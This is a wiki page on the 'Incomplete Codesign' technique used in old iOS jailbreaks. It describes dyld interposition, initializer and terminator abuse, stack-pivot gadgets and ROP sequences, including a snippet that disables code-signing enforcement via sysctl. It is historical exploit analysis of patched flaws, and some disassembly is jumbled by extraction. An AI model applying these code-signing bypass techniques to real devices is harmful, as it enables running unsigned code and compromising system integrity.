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Incomplete Codesign Exploit

Navigation Main page Community portal Current events Recent changes Random page Help Ground rules 1 Credit Toolbox What links here Related changes Special pages Printable version Permanent link 2 Interposition exploit (Spirit & Star) 3 Initializers exploit (Packet Filter/HFS Legacy Volume Name) 4 ndrv_setspec() Integer Overflow kickstart 5 Saffron kickstart 6 Sources for information Contents [hide]

Incomplete Codesign is a technique introduced by Comex in the Spirit jailbreak that allows untethered userland code execution. The idea is to plant a crafted Mach-O binary on the filesystem and have it loaded early during the boot process. This technique must be used in conjunction with another exploit to first plant the binary on the filesystem (like the MobileBackup Copy Exploit used in Spirit, or one of the DFU mode exploits Pwnage 2.0/Steaks4uce/Limera1n). Since executable pages must be signed, the crafted binary will have to abuse the loader or the dynamic linker functionalities to transfer execution to a ROP payload that will use existing (signed) code fragments (gadgets). The endgame is to have the userland code trigger and exploit a kernel vulnerability to achieve the jailbroken state. This is fixed as of iOS 4.3.4.

Credit
Comex

Interposition exploit (Spirit & Star)

The first technique used in the Spirit and Star jailbreaks involves loading a custom shared library (dylib) in the first userland process (launchd). The library is loaded using the launchd libgmalloc debugging feature that can be enabled by creating the /var/db/.launchd_use_gmalloc file.

if (pid1_magic && g_use_gmalloc) { if (!getenv("DYLD_INSERT_LIBRARIES")) { setenv("DYLD_INSERT_LIBRARIES", "/usr/lib/libgmalloc.dylib", 1); setenv("MALLOC_STRICT_SIZE", "1", 1); execv(argv[0], argv); } else { unsetenv("DYLD_INSERT_LIBRARIES"); //this call is hijacked through interposition unsetenv("MALLOC_STRICT_SIZE"); } }

The crafted libgmalloc.dylib does not contains any executable segments, but instead uses the dyld interposition feature to redirect several exported functions to code fragments in the launchd binary. The interposed functions and their replacement addresses are chosen to force launchd to perform a stack pivot, and have SP pointing to a data segment in the shared library, allowing ROP code execution. The following functions are interposed to allow the stack pivot : _unsetenv, _launch_data_new_errno, _setrlimit, __exit,
_audit_token_to_au32, _launch_data_unpack, _launch_data_dict_iterate

(a few other functions are also

interposed to create some gadgets used by the ROP payload). Once launchd has restarted itself with the crafted libgmalloc.dylib, the unsetenv function call will execute the following "interposition gadgets" :
LDR BL LDR BL R0, =aDyld_insert_li ; "DYLD_INSERT_LIBRARIES" _unsetenv R0, [R0] #R0 = 0x444c5944 = "DLYD" = little endian "DYLD" _launch_data_new_errno

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Incomplete Codesign Exploit - The iPhone Wiki

MOV R0, R0, LSR#2 BL _setrlimit ADD R0, R0, #3 BL __exit LDMIA R0, {R0-R3} 0x1113000C, STACK_PIVOT_GADGET) BL _audit_token_to_au32 STR R2, [SP+4] BL _launch_data_unpack STR R3, [SP+8] BL _launch_data_dict_iterate LDMFD SP!, {R4,R7,PC} STACK_PIVOT_GADGET: SUB SP, R7, #0xC LDMFD SP!, {R4-R7,PC} #R0 = R0 / 4 #R0 = R0 + 3 #R0 = 0x11131654 (__heap section in libgmalloc.dylib =[0,0,

#R2 = 0x1113000C #R3 = STACK_PIVOT_GADGET #=> R7 = 0x1113000C, PC = STACK_PIVOT_GADGET

#SP = 0x11130000 (start of ROP stack in __heap section) #ROP starts here

The ROP payloads in Spirit and Star exploit respectively the BPF and IOSurface kernel vulnerabilities in order to patch the kernel, and then restart launchd to continue the normal boot process. In iOS 4.1, dyld does a range check on the interposition targets to make sure that a dylib only redirects symbols to its own code segments, preventing the use of this feature to control code flow (since we cannot have executable code segments without a valid signature).

Initializers exploit (Packet Filter/HFS Legacy Volume Name)

For the iOS 4.1 Packet Filter Kernel Exploit, comex introduced another technique to get code execution, still using libgmalloc.dylib but in a less convoluted manner. A Mach-O binary can declare an initializers section holding function pointers to be called upon loading (just like the ELF constructors section). This feature allows immediate control of the instruction pointer. Initializers calls are made in ImageLoaderMachO::doModInitFunctions() (note that the iOS version of dyld is slightly different than the opensource version). The following code shows this function on iOS 4.1 :
__text:2FE0BFE6 LDR.W __text:2FE0BFEA CBZ __text:2FE0BFEC LDR __text:2FE0BFEE LDR __text:2FE0BFF0 MOV __text:2FE0BFF2 ADD __text:2FE0BFF4 LDR __text:2FE0BFF6 BL __text:2FE0BFFA __text:2FE0BFFA loc_2FE0BFFA __text:2FE0BFFA ADD.W __text:2FE0BFFE LDR __text:2FE0C000 LDR __text:2FE0C002 LDR __text:2FE0C004 LDR __text:2FE0C006 STR.W __text:2FE0C00A BLX context.apple, &context.programVars) R6, [R11,R5,LSL#2] ; Initializer func = inits[i]; R3, loc_2FE0BFFA R3, [SP,#0x30+var_2C] R0, =(aDyldCallingIni - 0x2FE0BFF6) R1, R6 R0, PC ; "dyld: calling initializer function %p i"... R2, [R3,#4] __ZN4dyld3logEPKcz ; dyld::log(char const*,...)

R12, R4, #0x58 R0, [R4,#0x44] R1, [R4,#0x48] R2, [R4,#0x4C] R3, [R4,#0x50] R12, [SP] R6 ; func(context.argc, context.argv, context.envp,

Since R11 points to the start of the section containing the initializers function pointers ( inits ), comex uses the following uncommon gadget to perform the stack pivot :
0x499ba000 LDMIBMI R11, {SP, PC} #increments R11 by 4, then pops SP and PC

Unlike Spirit's and Star's kernel exploits, the Packet Filter Kernel Exploit is not done in the ROP payload. Instead, the ROP payload is shorter and performs the following calls to run the exploit in an unsigned binary :
int zero = 0; char *params[] = {"/usr/lib/pf2", NULL}; char *env[] = {NULL}; /* these 3 function calls are done as ROP */ sysctlbyname("security.mac.proc_enforce", NULL, 0, &zero, sizeof(zero)); sysctlbyname("security.mac.vnode_enforce", NULL, 0, &zero, sizeof(zero)); execve("/usr/lib/pf2", params, env);

Setting the

security.mac.proc_enforce

and

security.mac.vnode_enforce

variables to 0 allows running unsigned

binaries, with some side effects (see [1]

). The

vnode_enforce

is reset to 0 as soon as the kernel exploit

completes. In iOS 4.3 beta, those variables are now read only.

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Starting with iOS 4.2.1, dyld does a range check on the initializers so that the previous trick does not work (look for the "dyld: ignoring out of bounds initializer function %p in %s" string). However, for some unknown reason this check is only made if
ImageLoaderMachO::isDylib()

returns true. Hence, in Greenpois0n

RC5, a crafted executable with an initializers section was used to replace the launchd binary and kickstart pod2g's HFS Legacy Volume Name Stack Buffer Overflow kernel exploit. The original launchd binary is renamed to punchd and is run as soon as the kernel exploit is done. In iOS 4.2.1 dyld the
inits

pointer is not stored in R11 anymore but at [SP+4] :

__text:2FE0C03C loc_2FE0C03C __text:2FE0C03C __text:2FE0C03E __text:2FE0C040 __text:2FE0C044 __text:2FE0C046 __text:2FE0C048 __text:2FE0C04A __text:2FE0C04C ...

LDR MOV LDR.W LDR LDR BLX CMP BEQ

R3, [SP,#4] R0, R6 R4, [R3,R8,LSL#2] ;Initializer func = inits[i]; R3, [R6] R3, [R3,#0x78] R3 ; ImageLoaderMachO::isDylib(void) R0, #0 loc_2FE0C0EE ;bypass range check

__text:2FE0C088 loc_2FE0C088 __text:2FE0C088 ADD.W __text:2FE0C08C LDR __text:2FE0C08E LDR __text:2FE0C090 LDR __text:2FE0C092 LDR __text:2FE0C094 STR.W __text:2FE0C098 BLX context.apple, &context.programVars)

R12, R5, #0x5C R0, [R5,#0x48] R1, [R5,#0x4C] R2, [R5,#0x50] R3, [R5,#0x54] R12, [SP] ; &context.programVars->mh R4 ; func(context.argc, context.argv, context.envp,

The stack pivot is done using two initializers :

POP {R6,R7} ; BX LR SUB SP, R7, #0 ; POP {R7,PC} #R6=&context.programVars->mh, R7=inits #do the stack pivot

Since the first initializer clobbers R6 and shuffles the local variables by incrementing SP by 8, some conditions must be met for dyld to reach the second initializer call without crashing : the second initializer pointer has to be stored at offset 0x1004 (segPreferredLoadAddress(0) + 4) a pointer to a return 0 gadget must be present at offset 0x78 in the Mach-O file (context.programVars>mh[0x78])

ndrv_setspec() Integer Overflow kickstart

Starting with iOS 4.3, gadget addresses cannot be hardcoded because of ASLR. i0n1c's launchd binary uses the relocation functionality of dyld to fix those adresses dynamically. This can be seen by running the binary with the DYLD_PRINT_BINDINGS environment variable set. The "compressed" format of relocations is used (see the
LC_DYLD_INFO_ONLY

command and the

ImageLoaderMachOCompressed::eachBind

function in dyld). The binary

also contains rebasing information but is not marked as position independent (?). The section calls functions.
__text:2FE0DEEA loc_2FE0DEEA __text:2FE0DEEA __text:2FE0DEEE __text:2FE0DEF2 __text:2FE0DEF4 __text:2FE0DEF6 __text:2FE0DEF8 __text:2FE0DEFA __text:2FE0DEFC __text:2FE0DEFE __text:2FE0DF02 __text:2FE0DF02 loc_2FE0DF02 __text:2FE0DF02 __text:2FE0DF04 __text:2FE0DF06 __text:2FE0DF08 __text:2FE0DF08 loc_2FE0DF08 __text:2FE0DF08 __DATA:__b

contains one initializer that points to the

dyld::runTerminators doModInitFunctions

function. This function but for termination

ImageLoaderMachO::doTermination ,

that does the same job as

LDRB.W LDR.W CBZ LDR LDR MOV ADD LDR BL

R3, [R11,#0x91] R6, [R5,#-4] ;Terminator func = terms[i-1]; R3, loc_2FE0DF02 R3, [SP,#0x28+var_28] R0, =(aDyldCallingTer - 0x2FE0DEFE) R1, R6 R0, PC ; "dyld: calling termination function %p i"... R2, [R3,#4] __ZN4dyld3logEPKcz ; dyld::log(char const*,...)

BLX SUBS SUBS

R6 ;func() R4, #1 R5, #4

CMP

R4, #0

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Incomplete Codesign Exploit - The iPhone Wiki

__text:2FE0DF0A BNE loc_2FE0DEEA

Here R5 points directly to the to the array of terminators ( terms ). The binary contains one termination function (in section section
ldm __DATA:__c )

that points to the following gadget which will transfer execution to the ROP payload (in

__DATA:__d ).

r5, {r2, r4, r5, r7, r8, r9, r10, r11, r12, sp, pc}

Saffron kickstart
The Saffron untether binary also uses relocations. Here, the standard format is used ( ARM_RELOC_VANILLA , not compressed
asrs bx LINKEDIT ).

The initializer gadget used simply modifies the R7 register :

r7, r3, #13 lr

When calling an initializer, R3 points to by the

LC_UNIXTHREAD

context.apple ,

which happens to be the value of the stack pointer set

ImageLoaderMachO::doModInitFunctions()

command. Values for this stack pointer and the ROP payload segment base are chosen epilog.

so that transfer to the ROP payload will happen at the

__text:2FE0C804 SUB.W SP, R7, #0x18 __text:2FE0C808 POP.W {R8,R10,R11} __text:2FE0C80C POP {R4-R7,PC} __text:2FE0C80C ; End of function ImageLoaderMachO::doModInitFunctions(ImageLoader::LinkContext const&)

r3 = 0x10031000 (ARM_THREAD_STATE[sp]) r7 = r3 >> 13 = 0x8018 sp = r7 - 0x18 = 0x8000 (start of __ROP segment)

Sources for information

https://github.com/comex/spirit/blob/master/igor/one.py https://github.com/comex/spirit/blob/master/igor/configdata.py http://books.google.fr/books? id=K8vUkpOXhN4C&lpg=PA73&ots=OJqiYTUwVD&dq=dyld%20interpose&pg=PA73#v=onepage&q&f=false http://launchd.macosforge.org/trac/browser/trunk/launchd/src/launchd.c http://blogs.embarcadero.com/eboling/2010/01/29/5639/ http://opensource.apple.com/source/dyld/dyld-132.13/src/ImageLoaderMachO.cpp https://github.com/comex/starn/blob/43989121a0f74639cf8cc3aa57514e6ef0c97dbd/goo/one.py https://github.com/comex/starn/blob/43989121a0f74639cf8cc3aa57514e6ef0c97dbd/config/configdata.py http://pastie.org/572025 http://opensource.apple.com/source/dyld/dyld-132.13/src/ImageLoaderMachOCompressed.cpp http://www.opensource.apple.com/source/xnu/xnu-1504.9.37/EXTERNAL_HEADERS/mach-o/reloc.h Category: Exploits

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